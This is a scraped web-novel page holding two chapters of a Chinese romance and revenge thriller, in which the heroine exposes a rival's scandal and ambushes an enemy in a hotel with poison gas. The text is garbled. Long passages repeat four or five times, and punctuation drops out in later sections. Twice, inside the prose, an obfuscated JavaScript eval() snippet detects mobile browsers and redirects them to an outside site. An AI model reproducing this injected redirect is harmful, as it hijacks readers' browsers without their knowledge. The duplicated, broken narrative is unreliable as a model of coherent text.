“他说,凌悠然跟他关系很熟,他们从小就是朋友。” “凌悠然接近我,只是因为早就猜到了我才是真正的、所谓的‘正统太子爷’。以防以后我跟司谨言的身份真 相大白,她才提前接近我,跟我打好关系。” “他以为我对凌悠然有爱情,想借凌悠然,最后刺激我一下。” 说到这,司慎行一摊手说:“只是可惜了,我对凌悠然,从始至终只有感激,没有爱情,我只当她是朋友。既然她接近我是别有目的,那点仅剩的感激也没有了。司谨言没刺激到我,反而让我看透了凌悠然。我得谢谢他。” 夏灼灼了然。 怪不得司慎行刚才直接扔掉了那张合照。 司慎行继续说。 “不过我是个顾念旧情的人,她虽然带着目的接近我,但读书时期,的确帮了我很多。我那个时候人人都能踩一脚,有她在,帮我抵挡了不少麻烦。所以,哪怕知道了真相,我也没特意跟她疏远,只是不交心。阿麦和霍刚,至今不知道这件事,还当她是我朋友。” 夏灼灼点点头,表示理解。 换成是她,也会这么做。 成年人交朋友,论迹不论心。 “只是……” 司慎行话音一转,说:“我以为我会跟她一直这样互敬互助下去,却没想到,她要的,不只是这些。” 夏灼灼用余光疑惑看他一眼。 司慎行便说起了司董事长的事情。 “我在京都老宅有很多眼线,其中给一个眼线,帮我打听到了一点我爸为什么突然让我疏远你。” 夏灼灼立刻猜到了一点。 “是凌悠然在中间捣鬼?她喜欢你?” “嗯……按照我目前得到的消息,的确是这样。她想做司少奶奶。” “你以前知道吗?她喜欢你?” “我不去注意这些。知道她带着目的接近我之后,更不会去管这些。” “……” “不过我猜,她不一定是喜欢我这个人,就算喜欢,她更喜欢的,也是我这个司家继承人的身份。否则,这么多年来,她不会一直在我跟司谨言中间,两边周旋。” 夏灼灼中肯评价:“凌小姐是个很有目标的人。” 司慎行略微不满。 “我说了这么多,你怎么一点也不吃醋,不生气?” 夏灼灼笑道:“你都全部跟我坦白了,也不喜欢她,只当她是朋友,我吃什么飞醋?” 她信任他,所以不吃醋。 司慎行也明白了,心情瞬间阴转多云。 “你放心,我很快会查清楚,她到底是怎么教唆我爸的。” “好。” 夏灼灼点头。 回到家后,夏灼灼莫名有些放松。 大概是因为,她知道了司董事长让司慎行疏远她,不是因为不喜欢她这个人,而是有人教唆。 既然是有人从中捣鬼,而不是对她这个人有意见,那么她跟司慎行还是有希望破局的。 她是个传统的人,所以,她还是想得到男方长辈的认可。 …… 很快到了十月的最后一天。 这一天,甄凝给她打了一个电话。 “你让我搜集的季远的证据,我已经收集齐了。” 夏灼灼有些惊讶。 “这么快?” 她以为,季远那么步步为营的人,想搜集他的证据,至少还得花几个月时间。 甄凝说:“是季恒帮了我。” 夏灼灼了然。 因为当初还是她自己叫甄凝找季恒帮忙的。 “我一直以为,季恒是个烂泥扶不上墙的纨绔,这阵子接触下来才知道他很优秀,他不是他表现出来的那样。他一点都不轻浮,反而很有责任心,是个好男人。” 甄凝言语之间,竟然带了一分欣赏。 夏灼灼微微意外。 不过她并没有表现出自己的意外,只是很平静地说:“既然如此,那我们可以开始行动了。” “什么时候放出消息?” 夏灼灼道:“今晚。” 甄凝惊讶出声:“这么快?” “没错,明天我有一件很重要的事情要做,正好借这件事,促成那件事的成功。” “什么事?” “跟你没有什么太多的关系,你放心。” “好,那我把证据加密发给你。” “嗯。” 说定后,两人挂断了电话。 夏灼灼微微出神。 她脑子里,不自觉浮现出甄凝和季恒的模样。 两个人的脸放在一起,竟然很登对。 不过夏灼灼很快回神,把这件事抛在了脑后。 他们两个会如何,这不是夏灼灼该管的。 而且她私心也不希望他们真的走到一起,嫂子成妻子,这在**上不占优势。 只希望是她误解了。 甄凝应该只是对纨绔面具下的季恒单纯表示意外和欣赏。 夏灼灼很快整理了情绪,她打电话给蚊子。 “联系所有能联系上的媒体,一起帮我做大一个新闻。” “什么新闻?” 两个人聊了很久,夏灼灼把甄凝 给她的证据,全部交给蚊子。 晚上八点,最多人上网冲浪的黄金时间,网上横空出现了一条热搜,直接爆了网络。 京都季家的长子季远,竟然是个断袖。 不仅如此,他还为了自己养在外面的男人,害**自己的亲生孩子。 更让人惊讶的是,季远养在外面的男人,竟然是个逃犯,身上背了两条人命。 季家不是小门小户,他在京都是有头有脸的。 季家有参政的,也有从商的,家族企业在华夏国排行TOP前20名。 大家都喜欢看豪门隐秘,尤其,还是断袖隐秘。 这种八卦人们很爱讨论,因而这个消息一出,立刻引爆了热搜。 季远直接被警方带去调查,就连季先生都拦不住。 窝藏逃犯,这是重罪。 夏灼灼看着热搜,心情微微放松。 她给季恒打了个电话。 季远的“男朋友”是个逃犯,这消息在之前她和甄凝都不知道,还是季恒加入进来,才得以知晓这人的身份。 这人不是主动**,是开车不小心把人撞**。 确认车上两人死亡后,他把尸体藏了起来,一直到一年后才被查到。 但他有季远的帮忙和庇护,用了假名,还做了整容,改头换面,一直逍遥法外。 夏灼灼很庆幸,当初自己让甄凝去找季恒。 季恒毕竟是季家人,又长期是纨绔的身份,没人对他设防。 因而他查起季远那点事来,比暗部都要容易。 夏灼灼打电话给季恒的时候,季恒刚买了机票,准备飞去京都。 “季家那边,现在是什么情况?”夏灼灼问。 季恒不避讳,直接说:“人已经被警察带走,他那个男朋友还没找到,但找到了季恒,那家伙也藏不久。我这一趟过去,会帮警方把人抓到。” “你哥,能出来吗?” “不知道,我不会让他出来。退一万步说,就算他能顺利脱身,他的名声也彻底毁了,以后家里宁愿扶持我,也不会再管他。” 夏灼灼说:“你是时候该用你的真面目示人了。” 季恒笑道:“我正有此意。一直扮纨绔,我都腻了,也该做点正事了。” “那我不打扰你,你安心做你的事吧。我等你的好消息。” “好。” 挂断电话,夏灼灼又直接开车去了暗部,跟谷仔和田野商量明天的事宜。 明天,是一号。 给她的证据,全部交给蚊子。 晚上八点,最多人上网冲浪的黄金时间,网上横空出现了一条热搜,直接爆了网络。 京都季家的长子季远,竟然是个断袖。 不仅如此,他还为了自己养在外面的男人,害**自己的亲生孩子。 更让人惊讶的是,季远养在外面的男人,竟然是个逃犯,身上背了两条人命。 季家不是小门小户,他在京都是有头有脸的。 季家有参政的,也有从商的,家族企业在华夏国排行TOP前20名。 大家都喜欢看豪门隐秘,尤其,还是断袖隐秘。 这种八卦人们很爱讨论,因而这个消息一出,立刻引爆了热搜。 季远直接被警方带去调查,就连季先生都拦不住。 窝藏逃犯,这是重罪。 夏灼灼看着热搜,心情微微放松。 她给季恒打了个电话。 季远的“男朋友”是个逃犯,这消息在之前她和甄凝都不知道,还是季恒加入进来,才得以知晓这人的身份。 这人不是主动**,是开车不小心把人撞**。 确认车上两人死亡后,他把尸体藏了起来,一直到一年后才被查到。 但他有季远的帮忙和庇护,用了假名,还做了整容,改头换面,一直逍遥法外。 夏灼灼很庆幸,当初自己让甄凝去找季恒。 季恒毕竟是季家人,又长期是纨绔的身份,没人对他设防。 因而他查起季远那点事来,比暗部都要容易。 夏灼灼打电话给季恒的时候,季恒刚买了机票,准备飞去京都。 “季家那边,现在是什么情况?”夏灼灼问。 季恒不避讳,直接说:“人已经被警察带走,他那个男朋友还没找到,但找到了季恒,那家伙也藏不久。我这一趟过去,会帮警方把人抓到。” “你哥,能出来吗?” “不知道,我不会让他出来。退一万步说,就算他能顺利脱身,他的名声也彻底毁了,以后家里宁愿扶持我,也不会再管他。” 夏灼灼说:“你是时候该用你的真面目示人了。” 季恒笑道:“我正有此意。一直扮纨绔,我都腻了,也该做点正事了。” “那我不打扰你,你安心做你的事吧。我等你的好消息。” “好。” 挂断电话,夏灼灼又直接开车去了暗部,跟谷仔和田野商量明天的事宜。 明天,是一号。 给她的证据,全部交给蚊子。 晚上八点,最多人上网冲浪的黄金时间,网上横空出现了一条热搜,直接爆了网络。 京都季家的长子季远,竟然是个断袖。 不仅如此,他还为了自己养在外面的男人,害**自己的亲生孩子。 更让人惊讶的是,季远养在外面的男人,竟然是个逃犯,身上背了两条人命。 季家不是小门小户,他在京都是有头有脸的。 季家有参政的,也有从商的,家族企业在华夏国排行TOP前20名。 大家都喜欢看豪门隐秘,尤其,还是断袖隐秘。 这种八卦人们很爱讨论,因而这个消息一出,立刻引爆了热搜。 季远直接被警方带去调查,就连季先生都拦不住。 窝藏逃犯,这是重罪。 夏灼灼看着热搜,心情微微放松。 她给季恒打了个电话。 季远的“男朋友”是个逃犯,这消息在之前她和甄凝都不知道,还是季恒加入进来,才得以知晓这人的身份。 这人不是主动**,是开车不小心把人撞**。 确认车上两人死亡后,他把尸体藏了起来,一直到一年后才被查到。 但他有季远的帮忙和庇护,用了假名,还做了整容,改头换面,一直逍遥法外。 夏灼灼很庆幸,当初自己让甄凝去找季恒。 季恒毕竟是季家人,又长期是纨绔的身份,没人对他设防。 因而他查起季远那点事来,比暗部都要容易。 夏灼灼打电话给季恒的时候,季恒刚买了机票,准备飞去京都。 “季家那边,现在是什么情况?”夏灼灼问。 季恒不避讳,直接说:“人已经被警察带走,他那个男朋友还没找到,但找到了季恒,那家伙也藏不久。我这一趟过去,会帮警方把人抓到。” “你哥,能出来吗?” “不知道,我不会让他出来。退一万步说,就算他能顺利脱身,他的名声也彻底毁了,以后家里宁愿扶持我,也不会再管他。” 夏灼灼说:“你是时候该用你的真面目示人了。” 季恒笑道:“我正有此意。一直扮纨绔,我都腻了,也该做点正事了。” “那我不打扰你,你安心做你的事吧。我等你的好消息。” “好。” 挂断电话,夏灼灼又直接开车去了暗部,跟谷仔和田野商量明天的事宜。 明天,是一号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492601|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她的证据,全部交给蚊子。 晚上八点,最多人上网冲浪的黄金时间,网上横空出现了一条热搜,直接爆了网络。 京都季家的长子季远,竟然是个断袖。 不仅如此,他还为了自己养在外面的男人,害**自己的亲生孩子。 更让人惊讶的是,季远养在外面的男人,竟然是个逃犯,身上背了两条人命。 季家不是小门小户,他在京都是有头有脸的。 季家有参政的,也有从商的,家族企业在华夏国排行TOP前20名。 大家都喜欢看豪门隐秘,尤其,还是断袖隐秘。 这种八卦人们很爱讨论,因而这个消息一出,立刻引爆了热搜。 季远直接被警方带去调查,就连季先生都拦不住。 窝藏逃犯,这是重罪。 夏灼灼看着热搜,心情微微放松。 她给季恒打了个电话。 季远的“男朋友”是个逃犯,这消息在之前她和甄凝都不知道,还是季恒加入进来,才得以知晓这人的身份。 这人不是主动**,是开车不小心把人撞**。 确认车上两人死亡后,他把尸体藏了起来,一直到一年后才被查到。 但他有季远的帮忙和庇护,用了假名,还做了整容,改头换面,一直逍遥法外。 夏灼灼很庆幸,当初自己让甄凝去找季恒。 季恒毕竟是季家人,又长期是纨绔的身份,没人对他设防。 因而他查起季远那点事来,比暗部都要容易。 夏灼灼打电话给季恒的时候,季恒刚买了机票,准备飞去京都。 “季家那边,现在是什么情况?”夏灼灼问。 季恒不避讳,直接说:“人已经被警察带走,他那个男朋友还没找到,但找到了季恒,那家伙也藏不久。我这一趟过去,会帮警方把人抓到。” “你哥,能出来吗?” “不知道,我不会让他出来。退一万步说,就算他能顺利脱身,他的名声也彻底毁了,以后家里宁愿扶持我,也不会再管他。” 夏灼灼说:“你是时候该用你的真面目示人了。” 季恒笑道:“我正有此意。一直扮纨绔,我都腻了,也该做点正事了。” “那我不打扰你,你安心做你的事吧。我等你的好消息。” “好。” 挂断电话,夏灼灼又直接开车去了暗部,跟谷仔和田野商量明天的事宜。 明天,是一号。 给她的证据,全部交给蚊子。 晚上八点,最多人上网冲浪的黄金时间,网上横空出现了一条热搜,直接爆了网络。 京都季家的长子季远,竟然是个断袖。 不仅如此,他还为了自己养在外面的男人,害**自己的亲生孩子。 更让人惊讶的是,季远养在外面的男人,竟然是个逃犯,身上背了两条人命。 季家不是小门小户,他在京都是有头有脸的。 季家有参政的,也有从商的,家族企业在华夏国排行TOP前20名。 大家都喜欢看豪门隐秘,尤其,还是断袖隐秘。 这种八卦人们很爱讨论,因而这个消息一出,立刻引爆了热搜。 季远直接被警方带去调查,就连季先生都拦不住。 窝藏逃犯,这是重罪。 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夏灼灼很庆幸,当初自己让甄凝去找季恒。 季恒毕竟是季家人,又长期是纨绔的身份,没人对他设防。 因而他查起季远那点事来,比暗部都要容易。 夏灼灼打电话给季恒的时候,季恒刚买了机票,准备飞去京都。 “季家那边,现在是什么情况?”夏灼灼问。 季恒不避讳,直接说:“人已经被警察带走,他那个男朋友还没找到,但找到了季恒,那家伙也藏不久。我这一趟过去,会帮警方把人抓到。” “你哥,能出来吗?” “不知道,我不会让他出来。退一万步说,就算他能顺利脱身,他的名声也彻底毁了,以后家里宁愿扶持我,也不会再管他。” 夏灼灼说:“你是时候该用你的真面目示人了。” 季恒笑道:“我正有此意。一直扮纨绔,我都腻了,也该做点正事了。” “那我不打扰你,你安心做你的事吧。我等你的好消息。” “好。” 挂断电话,夏灼灼又直接开车去了暗部,跟谷仔和田野商量明天的事宜。 明天,是一号。 第242章 一号计划 虽然距离夏灼灼单枪匹马杀进古武堂救下夏怀武已经有三个多月了。 但古武堂余孽仍由逍遥法外。 夏灼灼从未放松警惕。 在得知古武堂的幕后之人是窦部长之后她更加专注调查古武堂。 月初的时候他们总算是查到古武堂的余孽每个月一号都会在新春酒店**开会。 窦家的人也会出面。 他们会在每个月的一号在这里向古武堂下达当月的任务。 夏灼灼担心最近风声紧明天他们不一定会出现所以这一晚她就安排蚊子把季远的丑闻放出去。 窦家是靠季远拉紧跟季家的关系的少了这条线他们势必得想其他办法。 说不定窦斯齐会亲自出面。 若是如此 若是窦斯齐不去那也可以借机彻底铲除古武堂狠狠折断窦家在民间帮派的臂膀。 商量完具体对策夏灼灼叫司慎行来接她。 司慎行很快来了。 这次他依旧没进暗部的门只是在废弃工厂前面的路口等她。 见面后司慎行率先开口:“季恒已经飞去京都了。” 夏灼灼点头:“我知道我给他打了电话。” 司慎行薄唇轻弯说:“等他回来得叫他请你吃一顿大餐。” 夏灼灼耸肩说:“我没帮什么大忙都是甄凝和季恒自己查的季远。” “可是没有你提前跟甄凝打好关系季恒都不知道他大哥还养了个男人。更没有人在季家内部帮他。” 夏灼灼在其中给季恒牵了一条很重要的线。 甄凝在其中发挥了至关重要的作用。 夏灼灼闻言不再谦虚说:“那就请他让我们在四季阁吃上一整年。” 司慎行摇摇头。 “让他把四季阁的股份分一半给你。” 夏灼灼瞠目结舌。 “你胃口也太大了。他会吓死吧?” 司慎行笑道:“这算什么?比起他很快就要得到的东西四季阁算什么?只要你开口他说不定会把四季阁全部股份给你。” 夏灼灼知道司慎行说的“很快就要得到的东西”是指季家的继承权。 季家就两个儿子。 季远彻底毁了季先生也只能把目光放在季恒身上了。 “那挺好我这辈子去四季阁吃饭都不用花钱了。” 两人开了一会儿玩笑 很快都正经起来。 司慎行道:“季恒这一趟回去 夏灼灼很肯定地说:“不会事情会比你想象中要顺利。” “为什么?” 夏灼灼说起自己之前让甄凝帮季远和季先生夫妇做过亲子鉴定。 司慎行很意外地看她一眼。 “季远不是他们的亲儿子?” 夏灼灼摇摇头:“很可惜他的确是他们的亲生儿子。” “那怎么……” “鉴定结果的确显示是亲子关系。但是甄凝偶然听到季家夫妇提过以后原本就是要把家业给季恒继承的哪怕他只是个不学无术的纨绔。” 司慎行更加不解。 “这又是为什么?” 夏灼灼说:“我当时也很奇怪所以我继续叫甄凝去查后来果然查到了原因。” 原因很离谱是因为当时季太太身体不好觉得自己无法生育所以生季恒的时候用的是人工的办法。 也就是把胚胎放到了另一个女人的肚子里生下来的。 “虽然从生物学上来说季远也是她的亲儿子但是她总觉得从别人肚子里爬出来的孩子跟自己到底隔了一层肚皮。后来季太太身体调理好生下了季恒。对这个小儿子她是又爱又恨夫妻俩早就决定好以后不管季恒混成什么样家业最后都会交给他。” 司慎行很是吃惊。 “竟然是这样……” “是啊。”夏灼灼很感慨:“都是亲儿子自己生的和别人帮忙生的竟然这么区别对待我也是没有想到。” “早知如此当初何必生下季远?” “她需要孩子巩固自己季太太的地位。” 两个人都陷入了短暂的沉默。 说到底季远也有些可怜。 不过他们并不同情季远。 同情敌人就是把刀递向自己。 “那这么看来季恒这一趟回京都会很顺利。” “季家是大家族想要彻底服众也需要花很多心思。” “我相信季恒这小子看起来不着调但其实很聪明做事也很踏实。我交给他的事情他没有一件办不好的。” “我也相信他。” 两人相视一笑。 他们隐约觉得属于他们的曙光很快就要到来了。 临到下车夏灼灼提起了新春酒店的事。 “明天我会亲自过去。 司慎行立刻说:“我也跟你去。 “别。夏灼灼说:“你太瞩目,你一出现,古武堂的人肯定直接跑了。 “那你呢?你比我更瞩目。 夏灼灼指了指自己的脸。 “别忘了,我会易容术。 “……那你也给我做一个。 “时间来不及,你等着我的好消息就行。 司慎行只得放弃。 但说:“我会在附近的一条街上,有任何需要我帮忙的,你随时找我。 夏灼灼这次没拒绝,点头说“好。 司慎行问起她详细的计划,夏灼灼一一跟他说清楚。 司慎行听完,看她的眼神更加明亮。 “灼灼,你是上天给我的宝物。我上辈子一定做了很多好事,才能让你出现在我的生命中。 “……你这么会花言巧语,之前真的没谈过恋爱? “什么花言巧语?我说的都是肺腑之言。 “你这句话就挺花言巧语的。 “欲加之罪,何患无辞?司慎行开玩笑说着,又郑重说:“除了你,我心里没有停留过任何一个女人。 “那男人呢?像季远一样…… 司慎行直接停车,按住她的肩膀,狠狠亲她。 夏灼灼就此不敢再乱说话了。 她挺怕他这一招。 亲的人仿佛飘到了云里,浑身不受控。 …… 很快到了第二天。 沪城本地人的手机里,一则小小的本地新闻弹出来。 南宁巷铺设做天然气管道改造,结果工人操作不当,不小心导致地下水管破裂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498438|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >水管破裂后,自来水冲出地面,涌进附近多家商铺。 其中受灾最严重的,当属新春酒店。 酒店大堂被水淹没,酒店方只好给与客人赔偿,让他们暂时不要下楼。 窦斯齐等人得知消息的时候,大堂几乎被淹得无法下脚。 “这位先生,不好意思,楼下大堂被水淹了,大概需要两个小时才能处理好。在此期间,请您留在房间,不要乱走。 窦斯齐这一趟过来,是为了跟古武堂的人商榷季远的事情。 他们在季家,就季远这一条人脉。 现在这条人脉没了,他们得另外找寻机会,重新跟季家搭上线。 只是还没商讨好下一步要怎么办,就出现了这样的事。 楼下吵吵嚷嚷,服务生上来道歉,一一敲开客人的门,跟他们说明情况。 来开门的,是窦斯齐本人。 古武堂的人都藏在卫生间里。 窦斯齐鹰隼一般的眼睛盯着服务生。 “好好的,怎么会被水淹了?” 服务生有点害怕,不明白这个客人怎么回事,一脸的阴冷,像是要**。 “不、不是我们的问题,是施工队……” 服务生哆嗦着,把情况讲了个大概,又说:“我们会赔偿您的损失的,今日的房费全免。” 这家新春酒店,已经转手了三次,古武堂现在跟这儿毫无干系,但所有人都对这里很了解。 他们知道哪里有监控,哪里没有,如何能躲开工作人员的注意上楼。 因此,每次**,他们仍旧选在新春酒店。 窦斯齐认真听着服务生的话,分辨他话里的真实性。 见这人虽然怕他,但眼神并不闪躲,就知道,这人的确只是个服务生。 他分辨人,还是挺准的。 一如之前,他虽然还没见过夏灼灼,却已经察觉到这个女人很危险,必须除掉她。 “我知道了,谢谢提醒。” “应该的……” 服务生舒了一口气,转身正要走,突然卫生间发出“咚——”一声巨响。 服务生吓了一跳,忙往里面看过去。 但房门只是半开着,窦斯齐挡在门口,他什么都没看到。 只是问窦斯齐:“房间里还有人吗?需要帮忙吗?” “不用,就我一个,应该是东西掉了。” “好的,有任何需要,您随时打前台电话。” “好。” 窦斯齐盯着服务生走远,这才关上门。 他转身往卫生间里走,脸色很难看。 明知有人来敲门,还敢发出动静! 一群蠢货! 幸亏那只是个普通服务员。 窦斯齐沉着脸回到卫生间。 里面站着七个身形魁梧的男人,和一个白发苍苍,却步履矫健的老人。 这老人正是古武堂前任堂主。 他的儿子,是新任堂主,只是已经被抓,此生出来无望。 除非,窦派获得最终胜利,到时,他们伸伸手,就能帮他儿子。 也是因为这样,古武堂反而比以前更听窦家人的话。 “刚才什么情况?”老堂主问。 第243章 请君入瓮 听老堂主这么问,窦斯齐怒火更盛。 “你还好意思问我?我在门口跟人说话,你们发出那么大动静干什么?怕别人不知道房间里藏了人?” 老堂主皱眉,眉宇间浮现明显的不悦。 还是旁边的手下回答窦斯齐。 “窦大少,您误会我们了,刚才的动静不是我们发出来的。我们就算再糊涂,也不至于这样。” 窦斯齐微微一愣。 “不是你们发出来的?” “是隔壁。”那人说:“隔壁小情侣玩得花,不知道在浴室里是不是滑到了,撞上了我们卫生间这面墙。不仔细听,听不出来是我们发出来的,还是隔壁发出来的。” 窦斯齐疑心很重。 先是服务生告知楼下大堂被水淹了,又是隔壁什么情侣发出动静。 他沉默一刻,点了那个说话的人,说:“你,跟我去隔壁看看。” 那人点头,很快跟着窦斯齐出门。 走廊上有监控。 不过窦斯齐不在乎。 因为他们离开之后,监控里当天的内容就会被清理。 安保室,安插了一个古武堂的人,也是唯一一个安插在新春酒店的人。 因为不需要太多,他们一个月只来一次,一次只呆两三个小时。 很快两人来到了酒店隔壁房间。 窦斯齐按响门铃。 足足过了半分钟,里面的人才出来开门。 是一个面容平庸,唯独身高有点高的男人。 男人身上只围了一条浴巾,表情很不满。 “你谁啊?” 窦斯齐没管他,目光直直往里看。 “看什么?!”男人很紧张的样子,立马准备关门。 窦斯齐顿时觉得有鬼。 就算小夫妻正好选在他隔壁房间,也不可能那么凑巧,在那个时候故意发出声响。 这两个人不对劲! 窦斯齐上前就用自己的脚抵住门。 下一秒,他拿枪对准了男人的头。 “老实点,开门!否则我一枪崩了你!” 男人的脸立刻吓得白了。 “你、你想干什么?” “开门!” 男人僵硬着身子,把门慢慢打开。 跟着窦斯齐一起过来的男人控制住了那个男人。 窦斯齐几步走进去,卧室的床乱成一团,但不见人影。 他一扭身,进了卫生间。 卫生间里,一个 女人衣衫半褪,看到他拿着枪进来,立刻尖叫出声。 “你是谁?来人啊!老公!救命!” “闭嘴!” 窦斯齐一声低吼,那女人吓得瘫坐在地上。 他观察了一下卫生间,发现除了这个女人之外,没有其他人。 他的表情僵了下。 难道真是凑巧? 就在这时,门边的男人突然激动地喊了声:“冯**!救我!” 下一秒,响起冯昭阳的声音。 “怎么回事?你们在干什么?” 窦斯齐猛然一愣,快速收起枪走到门口。 正好对上冯昭阳的视线。 冯昭阳认识他,看到他之后,明显愣了下。 “斯齐?怎么是你?你们这是在干什么?” 窦斯齐再次错愕一愣。 他看了看自己手下牵制住的男人,又看了看冯昭阳和他身边两个警卫员,勉强挤出了一抹笑。 “冯叔,怎么是您?” 说完,他瞥了眼手下,示意他把男人放开。 男人被放开后,也不顾自己只裹了条浴巾,立刻跑到了冯昭阳身后。 “**!他有枪!刚才强闯进我房间,我的女朋友还在里面……” 冯昭阳安抚了几句,对窦斯齐说:“这究竟是怎么回事?你真拿枪指着我的下属了?” “他是您的下属?” “没错,他是市办公室的文员。” “……”窦斯齐几乎有点无法控制自己的表情了。 他因为太谨慎,竟是闹了一个大乌龙。 “是误会……” “不管是不是误会,你先道歉吧。”冯昭阳道,语气里带着明显的不悦。 窦斯齐这点面子还是得给冯昭阳的。 得罪一个中立派,就等于多了一个敌人,他还没那么傻。 窦斯齐诚恳地道了歉。 冯昭阳的脸色稍缓,说:“这里不是说话的地方,你跟我去二楼会客室,一会儿等他穿好衣服过来,再慢慢把事情说给我听。” 窦斯齐不想去。 可还是那句话,不要得罪一个中立派。 他毕竟拿了枪指过冯昭阳下属的头,的确得给一个合理的解释。 “好。”窦斯齐点头答应,跟着冯昭阳去二楼。 但他留了个心眼,没让古武堂的手下跟上,而是让他先回房间“休息”。 也就是告诉其他人,没什么事,他很快就会回来。 两 个人分开,窦斯齐路上想好了说辞。 “真是误会,我一个朋友,从京都过来的,住在您下属的房间隔壁。结果隔壁一直传来撞墙的声音,我以为是有人在**,才好心过去看看。没想到是您的下属和他的太太。” 冯昭阳听了,脸上最后一点怒意也消散了。 “原来只是个乌龙。”说罢,他有些好笑地说:“这小子的太太一直在国外,这次好不容易回来一趟,两个人到底年轻,见面后动静大了点……” “我现在知道了,是个误会。我太冲动了。” “以后别这么冲动,华夏虽然还没完全禁枪,但大帅已经有全面禁枪的意思,这个方案很快就会通过……你身份特殊,别在这个节骨眼上,给人当出头鸟打了。” “是。多谢您提醒,我以后会更加谨慎。” “嗯。” 窦斯齐趁机问:“您怎么突然到这儿来了?” 冯昭阳说:“还不是施工队的事……好好的,弄破了水管,附近几十家商铺都进了水,我过来查看情况。又听说霖川在这里,打算让他留在现场。没想到正好碰到你了。” 又解释说:“霖川就是刚才你误会了的那个小子,他是跟我从京都一直调过来的。” 窦斯齐了然,听不出这其中有什么问题。 加上对中立派有天生的井水不犯河水的信任,所以他只觉得自己倒霉。 偏偏碰上了今天的这些事。 早知道,还不如打破惯例,延后到二号见面。 正烦躁着,宋霖川过来了。 跟他一起过来的,还有他的太太。 宋霖川还好,知道冯昭阳跟窦斯齐认识,没表现出太大的不悦。 只是他的太太很不高兴。 窦斯齐又是一顿道歉,总算把人安抚好了。 “那我不耽误两位的正事,先告辞了。” 窦斯齐站起身,对着冯昭阳微微鞠躬。 “去吧。”冯昭阳挥了挥手,招呼下属商议楼下的水灾。 “这样的事,必须得拿出一个好章程,除了要把商户安抚到位,还要……” 窦斯齐站门口听了一会儿,确定他们是在聊水管破裂的事后,这才彻底放了心,走了。 回到楼上,窦斯齐抬起手,有节奏地敲了五下房门——这是他们的暗号。 房门很快打开了。 开门的,正是刚才跟窦斯齐一起去隔壁的人。 “没事了。”他说:“一场乌龙。不过我们得抓紧时间, 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 